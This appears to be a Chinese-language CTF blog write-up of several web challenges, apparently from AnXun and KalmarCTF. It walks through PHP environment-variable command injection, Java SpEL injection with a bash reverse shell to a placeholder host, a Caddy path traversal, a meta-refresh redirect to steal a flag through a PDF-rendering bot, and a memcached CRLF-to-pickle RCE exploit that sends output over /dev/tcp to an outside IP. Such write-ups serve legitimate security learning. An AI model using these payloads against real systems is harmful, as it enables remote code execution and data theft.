前言

寒假一直在摸鱼,基本都没怎么打比赛,这个3月初打了两个比赛,虽然第一个”安洵“是被主办方当猴去耍了。另外自己水平还是有待提高,都只是做出了最基本的题目,尤其是kalmarCTF,继续沉淀……..

Babyweb

又是狗都不用的php,正则表达式 preg_match 这里存在回溯限制,当字符串数量达到一定限度时会返回 false

9b0413f6-bc57-416e-9d1d-7dd809a8d22d

'aikun'.str_repeat('a',1000000).'xiaojijiao'

然后访问这个 e4eeee4vaa1ll1we44ebf111a4g.php

<?php
error_reporting(0);
highlight_file(__FILE__);

foreach ($_REQUEST['env'] as $key => $value) {
    if (blacklist($value)) {
        putenv("{$key}={$value}");
    }else{
        echo "Hack!!!";
    }
}

system('echo doit');

function blacklist($a){
    if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'|\"|\\\\/is', $a) === 0){
        return true;
    }
    else{
        return false;
    }
}

?>

这里其实参考p牛的文章即可,原封不动的

https://tttang.com/archive/1450/

执行命令

/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20id;%20}

后面就是常规的命令执行 bypass

/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20a=ca;b=t;c=/f*;$a$b $c;%20}

ezjava

首先要登录,尝试应该是不存在sql注入了,尝试弱口令 admin/123456

成功登录

之后看前端源码可以发现 /file?pic=pic 这个接口,存在任意文件读取漏洞

/file?pic=/etc/passwd

/proc/self/cmdline 可以找到jar包位置

/file?pic=/proc/self/cmdline

得到 java -jar /ezJava-1.0-SNAPSHOT.jar

然后读jar包

/file?pic=/ezJava-1.0-SNAPSHOT.jar

得到jar包后就可以分析了

可以发现在登录后对 rememberMe 进行了解码然后再使用 SqEL表达式进行解析,所以 rememberMe这里存在 SqEL表达式注入漏洞。

//其他代码省略......
    
ExpressionParser parser = new SpelExpressionParser();

//其他代码省略......
    
private String getAdvanceValue(String val) {
    String[] var2 = this.keyworkProperties.getBlacklist();
    int var3 = var2.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String keyword = var2[var4];
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
        }
    }

    ParserContext parserContext = new TemplateParserContext();
    Expression exp = this.parser.parseExpression(val, parserContext);
    ContextEvaluation evaluationContext = new ContextEvaluation();
    return exp.getValue(evaluationContext).toString();
}

//其他代码省略...... 

加了黑名单

application.yml

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: 123456
  rememberMeKey: ${SpringRememberMeKey}

用反射绕就行

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1"})}

有关SpEL表达式注入参考

SpEL表达式注入漏洞总结

SPEL 表达式注入漏洞深入分析

然后就是要将这个payload加密后写入cookie中,加密这里用源码里给的加密方法就行。这里还缺个 SpringRememberMeKey 是在环境变量里

直接读环境变量文件即可得到

/file?pic=/proc/self/environ

得到 rememberMeKeyP3UzzQsJkQ4t7xvQFe3e4XKP4fyPAMQv

exp:

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class Exp {
    public static String encrypt(String key, String initVector, String value) {
        try {
            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(1, skeySpec, iv);
            byte[] encrypted = cipher.doFinal(value.getBytes());
            return Base64.getUrlEncoder().encodeToString(encrypted);
        } catch (Exception var7) {
            return null;
        }
    }
    public static void main(String[] args) {
        String payload = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1\"})}";
        String res;
        res = encrypt("P3UzzQsJkQ4t7xvQFe3e4XKP4fyPAMQv", "0123456789abcdef", payload);
        System.out.println(res);
    }
}

之后在index页面下修改cookie中的 rememberMe 发送即可反弹shell。

Ez ⛳

kalmarCTF的题

Caddy 2.4.5服务器,看 docker-compose.yaml 可以发现 flag.txt 被删了,同时可以注意到他服务器上是这样的目录结构

image-20230306103035535

可以发现当前srv目录下的backups目录中留有这三个网站的备份

注意到 Caddy 服务器的配置文件 Caddyfile 的 file_server 这里文件根路径是动态拼接的。

{
    admin off
    local_certs  # Let's not spam Let's Encrypt
}

caddy.chal-kalmarc.tf {
    redir https://www.caddy.chal-kalmarc.tf
}

#php.caddy.chal-kalmarc.tf {
#    php_fastcgi localhost:9000
#}

flag.caddy.chal-kalmarc.tf {
    respond 418
}

*.caddy.chal-kalmarc.tf {
    encode zstd gzip
    log {
        output stderr
        level DEBUG
    }

    # block accidental exposure of flags:
    respond /flag.txt 403

    tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
        on_demand
    }
# 进行了动态拼接
    file_server {
        root /srv/{host}/
    }
}

所以更改host即可访问 backups 目录中的内容,另外这里respond匹配到 /flag.txt 会返回 403,用 /../flag.txt 即可绕过

exp:

GET /../flag.txt HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf

kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}

Invoiced

题目给了源码

可以看到 /renderInvoice 路由直接进行了 replace ,看样子是存在xss

app.get('/renderInvoice', async (req, res) => {
  if (!invoice) {
    invoice = await readFile('templates/invoice.html', 'utf8')
  }

  let html = invoice
  .replaceAll("{{ name }}", req.query.name)
  .replaceAll("{{ address }}", req.query.address)
  .replaceAll("{{ phone }}", req.query.phone)
  .replaceAll("{{ email }}", req.query.email)
  .replaceAll("{{ discount }}", req.query.discount)
  res.setHeader("Content-Type", "text/html")
  res.setHeader("Content-Security-Policy", "default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;")
  res.send(html)
})

但发现其实是设置了CSP的

同时

app.get('/orders', (req, res) => {
  if (req.socket.remoteAddress != "::ffff:127.0.0.1") {
    return res.send("Nice try")
  }
  if (req.cookies['bot']) {
    return res.send("Nice try")
  }
  res.setHeader('X-Frame-Options', 'none');
  res.send(process.env.FLAG || 'kalmar{test_flag}')
})

要求本地访问且cookie中不能有 bot

bot这里

async function renderPdf(body){
    const browser = await puppeteer.launch(browser_options);
    const page = await browser.newPage();
    const cookie = {
        "name": "bot",
        "value": "true",
        "domain": "localhost:5000",
        "httpOnly": true,
        "sameSite": "Strict"
    }
    await page.setCookie(cookie)
    await page.goto("http://localhost:5000/renderInvoice?"+querystring.stringify(body), { waitUntil: 'networkidle0' });
    await delay(1000)
    const pdf = await page.pdf({ format: 'A4' });
    await browser.close();
    return pdf
}

由于设置了很严格的CSP,导致没办法注入执行 XSS 代码。但可以注入html,不过iframe没法使用。注意程序会返回bot最终访问页面的pdf,所以可以想办法让bot访问的页面跳转到 /orders 然后打印返回flag。

参考 https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/meta

可以使用 <meta> 标签来实现跳转

</title><meta http-equiv="refresh" content="0;url=http://xxx.xxx.xxx.xxx:xxx">

然后是绕过这个cookie限制。

自己启一个服务器作为跳板即可不携带cookie访问。

index.html

<script>location="http://localhost:5000/orders"</script>

/cart 页面填写name为

</title><meta http-equiv="refresh" content="0;url=http://xxx.xxx.xxx.xxx:xxx">

从源码中知道discount为 FREEZTUFSSZ1412,填写发送即可

07d98082-029f-43ba-8404-ced8f5489427

Healthy-Calc

没做出来的题,赛后复现

题目给了源码,程序是个简单的计算服务。

其中使用了Celery这个库,用于分布式任务队列

同时注意到获取缓存这里

async def cache_lookup(operation, lhs: int, rhs: int) -> int:
    k = f"{operation.name}_{lhs}_{rhs}"
    try:
        return gp(celery.backend.get(k))
    except:
        pass  # skip cache miss

    ans = gp(await operation(lhs, rhs))
    celery.backend.set(k, ans)# k可控
    return ans

缓存使用了 memcached,设置缓存这里存在 CRLF 注入,可以任意设置键值对

官方给的exp

from time import sleep
from base64 import urlsafe_b64encode as b64

def get_payload():
    """ Returns short payload that will RCE on unpickle and w/o slashes """
    import os, pickle
    class PickleRCE(object):
        def __reduce__(self):
            encoded_payload = b64(b"/readflag > /dev/tcp/12.34.56.78/1337").decode()
            return os.system, (f'echo {encoded_payload} | base64 -d | bash',)
    result = pickle.dumps(PickleRCE(), 1)
    assert b'/' not in result, 'this will screw up the URL'
    print(result)
    return result


def send_raw(TARGET: str, PORT: int, request: bytes, reply=True):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((TARGET, PORT))
            s.sendall(request)
            sleep(.2)
            for _ in range(3):
                if txt := s.recv(1024):
                    if reply:
                        print(txt.decode())
    except: pass


if __name__ == '__main__':
    import socket
    from random import randint
    from urllib.parse import quote
    TARGET, PORT = '172.25.0.1', 5000
    a, b = randint(1, 99), randint(1, 99)

    send_raw(TARGET, PORT, f'GET /calc/add/{a}/{b} HTTP/1.1\r\nHost: {TARGET}:{PORT}'.encode() + b'\r\n'*2, reply=False)

    p = get_payload()
    print(f"Payload size: {len(p)}")
    #k = f'__main__._add_{a}_pwn'
    k = f'uwsgi_file__app_chall._add_{a}_pwn'
    payload = f"{b}\r\nset {k} 1 999 {len(p)}\r\n".encode() + p
    send_raw(TARGET, PORT, f'GET /calc/add/{a}/{quote(payload)} HTTP/1.1\r\nHost: {TARGET}:{PORT}'.encode() + b'\r\n'*2)
    sleep(.2)
    send_raw(TARGET, PORT, f'GET /calc/add/{a}/pwn HTTP/1.1\r\nHost: {TARGET}:{PORT}'.encode() + b'\r\n'*2)